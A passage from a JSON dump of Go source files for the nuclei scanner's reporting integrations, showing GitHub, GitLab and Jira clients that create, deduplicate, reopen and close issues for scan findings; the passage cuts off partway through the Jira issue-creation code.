  },
  {
    "path": "pkg/reporting/trackers/github/github.go",
    "content": "package github\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/google/go-github/github\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/format\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"golang.org/x/oauth2\"\n)\n\n// Integration is a client for an issue tracker integration\ntype Integration struct {\n\tclient  *github.Client\n\toptions *Options\n}\n\n// Options contains the configuration options for GitHub issue tracker client\ntype Options struct {\n\t// BaseURL (optional) is the self-hosted GitHub application url\n\tBaseURL string `yaml:\"base-url\" validate:\"omitempty,url\"`\n\t// Username is the username of the GitHub user\n\tUsername string `yaml:\"username\" validate:\"required\"`\n\t// Owner is the owner name of the repository for issues.\n\tOwner string `yaml:\"owner\" validate:\"required\"`\n\t// Token is the token for GitHub account.\n\tToken string `yaml:\"token\" validate:\"required\"`\n\t// ProjectName is the name of the repository.\n\tProjectName string `yaml:\"project-name\" validate:\"required\"`\n\t// IssueLabel (optional) is the label of the created issue type\n\tIssueLabel string `yaml:\"issue-label\"`\n\t// SeverityAsLabel (optional) sends the severity as the label of the created\n\t// issue.\n\tSeverityAsLabel bool `yaml:\"severity-as-label\"`\n\t// AllowList contains a list of allowed events for this tracker\n\tAllowList *filters.Filter `yaml:\"allow-list\"`\n\t// DenyList contains a list of denied events for this tracker\n\tDenyList *filters.Filter `yaml:\"deny-list\"`\n\t// DuplicateIssueCheck (optional) comments under existing finding issue\n\t// instead of creating duplicates for subsequent runs.\n\tDuplicateIssueCheck bool `yaml:\"duplicate-issue-check\"`\n\n\tHttpClient *retryablehttp.Client `yaml:\"-\"`\n\tOmitRaw    bool                  `yaml:\"-\"`\n}\n\n// New creates a new issue tracker integration client based on options.\nfunc New(options *Options) (*Integration, error) {\n\tctx := context.Background()\n\tts := oauth2.StaticTokenSource(\n\t\t&oauth2.Token{AccessToken: options.Token},\n\t)\n\ttc := oauth2.NewClient(ctx, ts)\n\n\tif options.HttpClient != nil && options.HttpClient.HTTPClient != nil {\n\t\tif tcTransport, ok := tc.Transport.(*http.Transport); ok {\n\t\t\ttcTransport.Proxy = options.HttpClient.HTTPClient.Transport.(*http.Transport).Proxy\n\t\t}\n\t}\n\n\tclient := github.NewClient(tc)\n\tif options.BaseURL != \"\" {\n\t\tparsed, err := url.Parse(options.BaseURL)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not parse custom baseurl\")\n\t\t}\n\t\tif !strings.HasSuffix(parsed.Path, \"/\") {\n\t\t\tparsed.Path += \"/\"\n\t\t}\n\t\tclient.BaseURL = parsed\n\t}\n\treturn &Integration{client: client, options: options}, nil\n}\n\n// CreateIssue creates an issue in the tracker\nfunc (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {\n\tsummary := format.Summary(event)\n\tdescription := format.CreateReportDescription(event, util.MarkdownFormatter{}, i.options.OmitRaw)\n\tlabels := []string{}\n\tseverityLabel := fmt.Sprintf(\"Severity: %s\", event.Info.SeverityHolder.Severity.String())\n\tif i.options.SeverityAsLabel && severityLabel != \"\" {\n\t\tlabels = append(labels, severityLabel)\n\t}\n\tif label := i.options.IssueLabel; label != \"\" {\n\t\tlabels = append(labels, label)\n\t}\n\n\tctx := context.Background()\n\n\tvar err error\n\tvar existingIssue *github.Issue\n\tif i.options.DuplicateIssueCheck {\n\t\texistingIssue, err = i.findIssueByTitle(ctx, summary)\n\t\tif err != nil && !errors.Is(err, io.EOF) {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif existingIssue == nil {\n\t\treq := &github.IssueRequest{\n\t\t\tTitle:     &summary,\n\t\t\tBody:      &description,\n\t\t\tLabels:    &labels,\n\t\t\tAssignees: &[]string{i.options.Username},\n\t\t}\n\t\tcreatedIssue, _, err := i.client.Issues.Create(ctx, i.options.Owner, i.options.ProjectName, req)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &filters.CreateIssueResponse{\n\t\t\tIssueID:  strconv.FormatInt(createdIssue.GetID(), 10),\n\t\t\tIssueURL: createdIssue.GetHTMLURL(),\n\t\t}, nil\n\t} else {\n\t\tif existingIssue.GetState() == \"closed\" {\n\t\t\tstateOpen := \"open\"\n\t\t\tif _, _, err := i.client.Issues.Edit(ctx, i.options.Owner, i.options.ProjectName, *existingIssue.Number, &github.IssueRequest{\n\t\t\t\tState: &stateOpen,\n\t\t\t}); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error reopening issue %d: %s\", *existingIssue.Number, err)\n\t\t\t}\n\t\t}\n\n\t\treq := &github.IssueComment{\n\t\t\tBody: &description,\n\t\t}\n\t\t_, _, err = i.client.Issues.CreateComment(ctx, i.options.Owner, i.options.ProjectName, *existingIssue.Number, req)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &filters.CreateIssueResponse{\n\t\t\tIssueID:  strconv.FormatInt(existingIssue.GetID(), 10),\n\t\t\tIssueURL: existingIssue.GetHTMLURL(),\n\t\t}, nil\n\t}\n}\n\nfunc (i *Integration) CloseIssue(event *output.ResultEvent) error {\n\tctx := context.Background()\n\tsummary := format.Summary(event)\n\n\texistingIssue, err := i.findIssueByTitle(ctx, summary)\n\tif err != nil && !errors.Is(err, io.EOF) {\n\t\treturn err\n\t}\n\tif existingIssue == nil {\n\t\treturn nil\n\t}\n\n\tstateClosed := \"closed\"\n\tif _, _, err := i.client.Issues.Edit(ctx, i.options.Owner, i.options.ProjectName, *existingIssue.Number, &github.IssueRequest{\n\t\tState: &stateClosed,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"error closing issue %d: %s\", *existingIssue.Number, err)\n\t}\n\treturn nil\n}\n\nfunc (i *Integration) Name() string {\n\treturn \"github\"\n}\n\n// ShouldFilter determines if an issue should be logged to this tracker\nfunc (i *Integration) ShouldFilter(event *output.ResultEvent) bool {\n\tif i.options.AllowList != nil && !i.options.AllowList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\tif i.options.DenyList != nil && i.options.DenyList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc (i *Integration) findIssueByTitle(ctx context.Context, title string) (*github.Issue, error) {\n\treq := &github.SearchOptions{\n\t\tSort:      \"updated\",\n\t\tOrder:     \"desc\",\n\t\tTextMatch: false,\n\t\tListOptions: github.ListOptions{\n\t\t\tPage:    1,\n\t\t\tPerPage: 100,\n\t\t},\n\t}\n\n\tquery := fmt.Sprintf(`is:issue repo:%s/%s \"%s\"`, i.options.Owner, i.options.ProjectName, title)\n\n\tfor {\n\t\tissues, resp, err := i.client.Search.Issues(ctx, query, req)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error listing issues for %s, %s: %w\", i.options.Owner, i.options.ProjectName, err)\n\t\t}\n\n\t\tfor _, issue := range issues.Issues {\n\t\t\tif issue.Title != nil && *issue.Title == title {\n\t\t\t\treturn &issue, nil\n\t\t\t}\n\t\t}\n\n\t\tif resp.NextPage <= req.Page || len(issues.Issues) == 0 {\n\t\t\treturn nil, io.EOF\n\t\t}\n\n\t\treq.ListOptions = github.ListOptions{\n\t\t\tPage:    resp.NextPage,\n\t\t\tPerPage: 100,\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/reporting/trackers/gitlab/gitlab.go",
    "content": "package gitlab\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/format\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Integration is a client for an issue tracker integration\ntype Integration struct {\n\tclient  *gitlab.Client\n\tuserID  int\n\toptions *Options\n}\n\n// Options contains the configuration options for gitlab issue tracker client\ntype Options struct {\n\t// BaseURL (optional) is the self-hosted gitlab application url\n\tBaseURL string `yaml:\"base-url\" validate:\"omitempty,url\"`\n\t// Username is the username of the gitlab user\n\tUsername string `yaml:\"username\" validate:\"required\"`\n\t// Token is the token for gitlab account.\n\tToken string `yaml:\"token\" validate:\"required\"`\n\t// ProjectName is the name of the repository.\n\tProjectName string `yaml:\"project-name\" validate:\"required\"`\n\t// IssueLabel is the label of the created issue type\n\tIssueLabel string `yaml:\"issue-label\"`\n\t// SeverityAsLabel (optional) sends the severity as the label of the created\n\t// issue.\n\tSeverityAsLabel bool `yaml:\"severity-as-label\"`\n\t// AllowList contains a list of allowed events for this tracker\n\tAllowList *filters.Filter `yaml:\"allow-list\"`\n\t// DenyList contains a list of denied events for this tracker\n\tDenyList *filters.Filter `yaml:\"deny-list\"`\n\t// DuplicateIssueCheck is a bool to enable duplicate tracking issue check and update the newest\n\tDuplicateIssueCheck bool `yaml:\"duplicate-issue-check\" default:\"false\"`\n\t// DuplicateIssuePageSize controls how many issues are fetched per page when searching for duplicates.\n\t// If unset or <=0, a default of 100 is used.\n\tDuplicateIssuePageSize int `yaml:\"duplicate-issue-page-size\" default:\"100\"`\n\t// DuplicateIssueMaxPages limits how many pages are fetched when searching for duplicates.\n\t// If unset or <=0, all pages are fetched until exhaustion.\n\tDuplicateIssueMaxPages int `yaml:\"duplicate-issue-max-pages\" default:\"0\"`\n\n\tHttpClient *retryablehttp.Client `yaml:\"-\"`\n\tOmitRaw    bool                  `yaml:\"-\"`\n}\n\n// New creates a new issue tracker integration client based on options.\nfunc New(options *Options) (*Integration, error) {\n\tgitlabOpts := []gitlab.ClientOptionFunc{}\n\tif options.BaseURL != \"\" {\n\t\tgitlabOpts = append(gitlabOpts, gitlab.WithBaseURL(options.BaseURL))\n\t}\n\tif options.HttpClient != nil {\n\t\tgitlabOpts = append(gitlabOpts, gitlab.WithHTTPClient(options.HttpClient.HTTPClient))\n\t}\n\tgit, err := gitlab.NewClient(options.Token, gitlabOpts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tuser, _, err := git.Users.CurrentUser()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Integration{client: git, userID: user.ID, options: options}, nil\n}\n\n// CreateIssue creates an issue in the tracker\nfunc (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {\n\tsummary := format.Summary(event)\n\tdescription := format.CreateReportDescription(event, util.MarkdownFormatter{}, i.options.OmitRaw)\n\tlabels := []string{}\n\tseverityLabel := fmt.Sprintf(\"Severity: %s\", event.Info.SeverityHolder.Severity.String())\n\tif i.options.SeverityAsLabel && severityLabel != \"\" {\n\t\tlabels = append(labels, severityLabel)\n\t}\n\tif label := i.options.IssueLabel; label != \"\" {\n\t\tlabels = append(labels, label)\n\t}\n\tcustomLabels := gitlab.LabelOptions(labels)\n\tassigneeIDs := []int{i.userID}\n\n\tvar issue *gitlab.Issue\n\tif i.options.DuplicateIssueCheck {\n\t\tvar err error\n\t\tissue, err = i.findIssueByTitle(summary)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif issue != nil {\n\t\t_, _, err := i.client.Notes.CreateIssueNote(i.options.ProjectName, issue.IID, &gitlab.CreateIssueNoteOptions{\n\t\t\tBody: &description,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif issue.State == \"closed\" {\n\t\t\treopen := \"reopen\"\n\t\t\t_, _, err := i.client.Issues.UpdateIssue(i.options.ProjectName, issue.IID, &gitlab.UpdateIssueOptions{\n\t\t\t\tStateEvent: &reopen,\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\treturn &filters.CreateIssueResponse{\n\t\t\tIssueID:  strconv.FormatInt(int64(issue.ID), 10),\n\t\t\tIssueURL: issue.WebURL,\n\t\t}, nil\n\t}\n\tcreatedIssue, _, err := i.client.Issues.CreateIssue(i.options.ProjectName, &gitlab.CreateIssueOptions{\n\t\tTitle:       &summary,\n\t\tDescription: &description,\n\t\tLabels:      &customLabels,\n\t\tAssigneeIDs: &assigneeIDs,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &filters.CreateIssueResponse{\n\t\tIssueID:  strconv.FormatInt(int64(createdIssue.ID), 10),\n\t\tIssueURL: createdIssue.WebURL,\n\t}, nil\n}\n\nfunc (i *Integration) Name() string {\n\treturn \"gitlab\"\n}\n\nfunc (i *Integration) CloseIssue(event *output.ResultEvent) error {\n\tsummary := format.Summary(event)\n\tissue, err := i.findIssueByTitle(summary)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif issue == nil {\n\t\treturn nil\n\t}\n\n\tstate := \"close\"\n\t_, _, err = i.client.Issues.UpdateIssue(i.options.ProjectName, issue.IID, &gitlab.UpdateIssueOptions{\n\t\tStateEvent: &state,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (i *Integration) findIssueByTitle(title string) (*gitlab.Issue, error) {\n\tpageSize := i.options.DuplicateIssuePageSize\n\tif pageSize <= 0 {\n\t\tpageSize = 100\n\t}\n\tmaxPages := i.options.DuplicateIssueMaxPages\n\n\tsearchIn := \"title\"\n\tsearchState := \"all\"\n\tpage := 1\n\n\tfor {\n\t\tif maxPages > 0 && page > maxPages {\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tissues, _, err := i.client.Issues.ListProjectIssues(i.options.ProjectName, &gitlab.ListProjectIssuesOptions{\n\t\t\tIn:     &searchIn,\n\t\t\tState:  &searchState,\n\t\t\tSearch: &title,\n\t\t\tListOptions: gitlab.ListOptions{\n\t\t\t\tPage:    page,\n\t\t\t\tPerPage: pageSize,\n\t\t\t},\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, issue := range issues {\n\t\t\tif issue.Title == title {\n\t\t\t\treturn issue, nil\n\t\t\t}\n\t\t}\n\n\t\tif len(issues) < pageSize {\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tpage++\n\t}\n}\n\n// ShouldFilter determines if an issue should be logged to this tracker\nfunc (i *Integration) ShouldFilter(event *output.ResultEvent) bool {\n\tif i.options.AllowList != nil && !i.options.AllowList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\tif i.options.DenyList != nil && i.options.DenyList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\treturn true\n}\n"
  },
  {
    "path": "pkg/reporting/trackers/jira/jira.go",
    "content": "package jira\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"sync\"\n\t\"text/template\"\n\n\t\"github.com/andygrunwald/go-jira\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/trivago/tgo/tcontainer\"\n\t\"golang.org/x/text/cases\"\n\t\"golang.org/x/text/language\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/format\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/ptr\"\n)\n\ntype Formatter struct {\n\tutil.MarkdownFormatter\n}\n\n// TemplateContext holds the data available for template evaluation\ntype TemplateContext struct {\n\tSeverity    string\n\tName        string\n\tHost        string\n\tCVSSScore   string\n\tCVEID       string\n\tCWEID       string\n\tCVSSMetrics string\n\tTags        []string\n}\n\n// buildTemplateContext creates a template context from a ResultEvent\nfunc buildTemplateContext(event *output.ResultEvent) *TemplateContext {\n\tctx := &TemplateContext{\n\t\tHost: event.Host,\n\t\tName: event.Info.Name,\n\t\tTags: event.Info.Tags.ToSlice(),\n\t}\n\n\t// Set severity string\n\tctx.Severity = event.Info.SeverityHolder.Severity.String()\n\n\tif event.Info.Classification != nil {\n\t\tctx.CVSSScore = fmt.Sprintf(\"%.2f\", ptr.Safe(event.Info.Classification).CVSSScore)\n\t\tctx.CVEID = strings.Join(ptr.Safe(event.Info.Classification).CVEID.ToSlice(), \", \")\n\t\tctx.CWEID = strings.Join(ptr.Safe(event.Info.Classification).CWEID.ToSlice(), \", \")\n\t\tctx.CVSSMetrics = ptr.Safe(event.Info.Classification).CVSSMetrics\n\t}\n\n\treturn ctx\n}\n\n// evaluateTemplate executes a template string with the given context\nfunc evaluateTemplate(templateStr string, ctx *TemplateContext) (string, error) {\n\t// If no template markers found, return as-is for backward compatibility\n\tif !strings.Contains(templateStr, \"{{\") {\n\t\treturn templateStr, nil\n\t}\n\n\t// Create template with useful functions for JIRA custom fields\n\tfuncMap := template.FuncMap{\n\t\t\"upper\":     strings.ToUpper,\n\t\t\"lower\":     strings.ToLower,\n\t\t\"title\":     cases.Title(language.English).String,\n\t\t\"contains\":  strings.Contains,\n\t\t\"hasPrefix\": strings.HasPrefix,\n\t\t\"hasSuffix\": strings.HasSuffix,\n\t\t\"trim\":      strings.Trim,\n\t\t\"trimSpace\": strings.TrimSpace,\n\t\t\"replace\":   strings.ReplaceAll,\n\t\t\"split\":     strings.Split,\n\t\t\"join\":      strings.Join,\n\t}\n\n\ttmpl, err := template.New(\"field\").Funcs(funcMap).Parse(templateStr)\n\tif err != nil {\n\t\treturn templateStr, fmt.Errorf(\"failed to parse template: %w\", err)\n\t}\n\n\tvar buf bytes.Buffer\n\tif err := tmpl.Execute(&buf, ctx); err != nil {\n\t\treturn templateStr, fmt.Errorf(\"failed to execute template: %w\", err)\n\t}\n\n\treturn buf.String(), nil\n}\n\n// evaluateCustomFieldValue evaluates a custom field value, supporting both new template syntax and legacy $variable syntax\nfunc (i *Integration) evaluateCustomFieldValue(value string, templateCtx *TemplateContext, event *output.ResultEvent) (interface{}, error) {\n\t// Try template evaluation first (supports {{...}} syntax)\n\tif strings.Contains(value, \"{{\") {\n\t\treturn evaluateTemplate(value, templateCtx)\n\t}\n\n\t// Handle legacy $variable syntax for backward compatibility\n\tif strings.HasPrefix(value, \"$\") {\n\t\tvariableName := strings.TrimPrefix(value, \"$\")\n\t\tswitch variableName {\n\t\tcase \"CVSSMetrics\":\n\t\t\tif event.Info.Classification != nil {\n\t\t\t\treturn ptr.Safe(event.Info.Classification).CVSSMetrics, nil\n\t\t\t}\n\t\t\treturn \"\", nil\n\t\tcase \"CVEID\":\n\t\t\tif event.Info.Classification != nil {\n\t\t\t\treturn strings.Join(ptr.Safe(event.Info.Classification).CVEID.ToSlice(), \", \"), nil\n\t\t\t}\n\t\t\treturn \"\", nil\n\t\tcase \"CWEID\":\n\t\t\tif event.Info.Classification != nil {\n\t\t\t\treturn strings.Join(ptr.Safe(event.Info.Classification).CWEID.ToSlice(), \", \"), nil\n\t\t\t}\n\t\t\treturn \"\", nil\n\t\tcase \"CVSSScore\":\n\t\t\tif event.Info.Classification != nil {\n\t\t\t\treturn fmt.Sprintf(\"%.2f\", ptr.Safe(event.Info.Classification).CVSSScore), nil\n\t\t\t}\n\t\t\treturn \"\", nil\n\t\tcase \"Host\":\n\t\t\treturn event.Host, nil\n\t\tcase \"Severity\":\n\t\t\treturn event.Info.SeverityHolder.Severity.String(), nil\n\t\tcase \"Name\":\n\t\t\treturn event.Info.Name, nil\n\t\tdefault:\n\t\t\treturn value, nil // return as-is if variable not found\n\t\t}\n\t}\n\n\t// Return as-is if no template or variable syntax found\n\treturn value, nil\n}\n\nfunc (jiraFormatter *Formatter) MakeBold(text string) string {\n\treturn \"*\" + text + \"*\"\n}\n\nfunc (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string {\n\tescapedContent := strings.ReplaceAll(content, \"{code}\", \"\")\n\treturn fmt.Sprintf(\"\\n%s\\n{code}\\n%s\\n{code}\\n\", jiraFormatter.MakeBold(title), escapedContent)\n}\n\nfunc (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) {\n\ttable, err := jiraFormatter.MarkdownFormatter.CreateTable(headers, rows)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\ttableRows := strings.Split(table, \"\\n\")\n\ttableRowsWithoutHeaderSeparator := append(tableRows[:1], tableRows[2:]...)\n\treturn strings.Join(tableRowsWithoutHeaderSeparator, \"\\n\"), nil\n}\n\nfunc (jiraFormatter *Formatter) CreateLink(title string, url string) string {\n\treturn fmt.Sprintf(\"[%s|%s]\", title, url)\n}\n\n// Integration is a client for an issue tracker integration\ntype Integration struct {\n\tFormatter\n\tjira    *jira.Client\n\toptions *Options\n\n\tonce         *sync.Once\n\ttransitionID string\n}\n\n// Options contains the configuration options for jira client\ntype Options struct {\n\t// Cloud value (optional) is set to true when Jira cloud is used\n\tCloud bool `yaml:\"cloud\" json:\"cloud\"`\n\t// UpdateExisting value (optional) if true, the existing opened issue is updated\n\tUpdateExisting bool `yaml:\"update-existing\" json:\"update_existing\"`\n\t// URL is the URL of the jira server\n\tURL string `yaml:\"url\" json:\"url\" validate:\"required\"`\n\t// SiteURL is the browsable URL for the Jira instance (optional)\n\t// If not provided, issue.Self will be used. Useful for OAuth where issue.Self contains api.atlassian.com\n\tSiteURL string `yaml:\"site-url\" json:\"site_url\"`\n\t// AccountID is the accountID of the jira user.\n\tAccountID string `yaml:\"account-id\" json:\"account_id\" validate:\"required\"`\n\t// Email is the email of the user for jira instance\n\tEmail string `yaml:\"email\" json:\"email\"`\n\t// PersonalAccessToken is the personal access token for jira instance.\n\t// If this is set, Bearer Auth is used instead of Basic Auth.\n\tPersonalAccessToken string `yaml:\"personal-access-token\" json:\"personal_access_token\"`\n\t// Token is the token for jira instance.\n\tToken string `yaml:\"token\" json:\"token\"`\n\t// ProjectName is the name of the project.\n\tProjectName string `yaml:\"project-name\" json:\"project_name\"`\n\t// ProjectID is the ID of the project (optional)\n\tProjectID string `yaml:\"project-id\" json:\"project_id\"`\n\t// IssueType (optional) is the name of the created issue type\n\tIssueType string `yaml:\"issue-type\" json:\"issue_type\"`\n\t// IssueTypeID (optional) is the ID of the created issue type\n\tIssueTypeID string `yaml:\"issue-type-id\" json:\"issue_type_id\"`\n\t// SeverityAsLabel (optional) sends the severity as the label of the created\n\t// issue.\n\tSeverityAsLabel bool `yaml:\"severity-as-label\" json:\"severity_as_label\"`\n\t// AllowList contains a list of allowed events for this tracker\n\tAllowList *filters.Filter `yaml:\"allow-list\"`\n\t// DenyList contains a list of denied events for this tracker\n\tDenyList *filters.Filter `yaml:\"deny-list\"`\n\t// Severity (optional) is the severity of the issue.\n\tSeverity   []string              `yaml:\"severity\" json:\"severity\"`\n\tHttpClient *retryablehttp.Client `yaml:\"-\" json:\"-\"`\n\t// for each customfield specified in the configuration options\n\t// we will create a map of customfield name to the value\n\t// that will be used to create the issue\n\tCustomFields map[string]interface{} `yaml:\"custom-fields\" json:\"custom_fields\"`\n\tStatusNot    string                 `yaml:\"status-not\" json:\"status_not\"`\n\tOmitRaw      bool                   `yaml:\"-\"`\n}\n\n// New creates a new issue tracker integration client based on options.\nfunc New(options *Options) (*Integration, error) {\n\tusername := options.Email\n\tif !options.Cloud {\n\t\tusername = options.AccountID\n\t}\n\n\tvar httpclient *http.Client\n\tif options.PersonalAccessToken != \"\" {\n\t\tbearerTp := jira.BearerAuthTransport{\n\t\t\tToken: options.PersonalAccessToken,\n\t\t}\n\t\tif options.HttpClient != nil {\n\t\t\tbearerTp.Transport = options.HttpClient.HTTPClient.Transport\n\t\t}\n\t\thttpclient = bearerTp.Client()\n\t} else {\n\t\tbasicTp := jira.BasicAuthTransport{\n\t\t\tUsername: username,\n\t\t\tPassword: options.Token,\n\t\t}\n\t\tif options.HttpClient != nil {\n\t\t\tbasicTp.Transport = options.HttpClient.HTTPClient.Transport\n\t\t}\n\t\thttpclient = basicTp.Client()\n\t}\n\n\tjiraClient, err := jira.NewClient(httpclient, options.URL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tintegration := &Integration{\n\t\tjira:    jiraClient,\n\t\toptions: options,\n\t\tonce:    &sync.Once{},\n\t}\n\treturn integration, nil\n}\n\nfunc (i *Integration) Name() string {\n\treturn \"jira\"\n}\n\n// CreateNewIssue creates a new issue in the tracker\nfunc (i *Integration) CreateNewIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {\n\tsummary := format.Summary(event)\n\tlabels := []string{}\n\tseverityLabel := fmt.Sprintf(\"Severity:%s\", event.Info.SeverityHolder.Severity.String())\n\tif i.options.SeverityAsLabel && severityLabel != \"\" {\n\t\tlabels = append(labels, severityLabel)\n\t}\n\tif label := i.options.IssueType; label != \"\" {\n\t\tlabels = append(labels, label)\n\t}\n\t// Build template context for evaluating custom field templates\n\ttemplateCtx := buildTemplateContext(event)\n\n\t// Process custom fields with template evaluation support\n\tcustomFields := tcontainer.NewMarshalMap()\n\tfor name, value := range i.options.CustomFields {\n\t\tif valueMap, ok := value.(map[interface{}]interface{}); ok {\n\t\t\t// Iterate over nested map\n\t\t\tfor nestedName, nestedValue := range valueMap {\n\t\t\t\tfmtNestedValue, ok := nestedValue.(string)\n\t\t\t\tif !ok {\n\t\t\t\t\treturn nil, fmt.Errorf(`couldn't iterate on nested item \"%s\": %s`, nestedName, nestedValue)\n\t\t\t\t}\n\n\t\t\t\t// Evaluate template or handle legacy $variable syntax\n\t\t\t\tevaluatedValue, err := i.evaluateCustomFieldValue(fmtNestedValue, templateCtx, event)\n\t\t\t\tif err != nil {\n\t\t\t\t\tgologger.Warning().Msgf(\"Failed to evaluate template for field %s.%s: %v\", name, nestedName, err)\n\t\t\t\t\tevaluatedValue = fmtNestedValue // fallback to original value\n\t\t\t\t}\n\n\t\t\t\tswitch nestedName {\n\t\t\t\tcase \"id\":\n\t\t\t\t\tcustomFields[name] = map[string]interface{}{\"id\": evaluatedValue}\n\t\t\t\tcase \"name\":\n\t\t\t\t\tcustomFields[name] = map[string]interface{}{\"value\": evaluatedValue}\n\t\t\t\tcase \"freeform\":\n\t\t\t\t\tcustomFields[name] = evaluatedValue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tfields := &jira.IssueFields{\n\t\tAssignee:    &jira.User{Name: i.options.AccountID},\n\t\tDescription: format.CreateReportDescription(event, i, i.options.OmitRaw),\n\t\tUnknowns:    customFields,\n\t\tLabels:      labels,\n\t\tType:        jira.IssueType{Name: i.options.IssueType},\n\t\tProject:     jira.Project{Key: i.options.ProjectName},\n\t\tSummary:     summary,\n\t}\n\n\t// On-prem version of Jira server does not use AccountID\n\tif !i.options.Cloud {\n\t\tfields = &jira.IssueFields{\n\t\t\tAssignee:    &jira.User{Name: i.options.AccountID},\n\t\t\tDescription: format.CreateReportDescription(event, i, i.options.OmitRaw),\n\t\t\tType:        jira.IssueType{Name: i.options.IssueType},\n\t\t\tProject:     jira.Project{Key: i.options.ProjectName},\n\t\t\tSummary:     summary,\n\t\t\tLabels:      labels,\n\t\t\tUnknowns:    customFields,\n\t\t}\n\t}\n\tif i.options.IssueTypeID != \"\" {\n\t\tfields.Type = jira.IssueType{ID: i.options.IssueTypeID}\n\t}\n\tif i.options.ProjectID != \"\" {\n\t\tfields.Project = jira.Project{ID: i.options.ProjectID}\n\t}\n\n\tissueData := &jira.Issue{\n\t\tFields: fields,\n\t}\n\tcreatedIssue, resp, err := i.jira.Issue.Create(issueData)\n\tif err != nil {\n\t\tvar data string\n\t\tif resp != nil && resp.Body != nil {\n\t\t\td, _ := io.ReadAll(resp.Body)\n\t\t\tdata = string(d)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"%w => %s\", err, data)\n\t}\n\treturn i.getIssueResponseFromJira(createdIssue)\n}\n\nfunc (i *Integration) getIssueResponseFromJira(issue *jira.Issue) (*filters.CreateIssueResponse, error) {\n\tvar issueURL string\n\n\t// Use SiteURL if provided, otherwise fall back to original issue.Self logic\n\tif i.options.SiteURL != \"\" {\n\t\t// Use the configured site URL for browsable links (useful for OAuth)\n\t\tbaseURL := strings.TrimRight(i.options.SiteURL, \"/\")\n\t\tissueURL = fmt.Sprintf(\"%s/browse/%s\", baseURL, issue.Key)\n\t} else {\n\t\t// Fall back to original logic using issue.Self\n\t\tparsed, err := url.Parse(issue.Self)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tparsed.Path = fmt.Sprintf(\"/browse/%s\", issue.Key)\n\t\tissueURL = parsed.String()\n\t}\n\n\treturn &filters.CreateIssueResponse{\n\t\tIssueID:  issue.ID,\n\t\tIssueURL: issueURL,\n\t}, nil\n}\n\n// CreateIssue creates an issue in the tracker or updates the existing one\nfunc (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {\n\tif i.options.UpdateExisting {\n\t\tissue, err := i.FindExistingIssue(event, true)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not find existing issue\")\n\t\t} else if issue.ID != \"\" {\n\t\t\t_, _, err = i.jira.Issue.AddComment(issue.ID, &jira.Comment{\n\t\t\t\tBody: format.CreateReportDescription(event, i, i.options.OmitRaw),\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 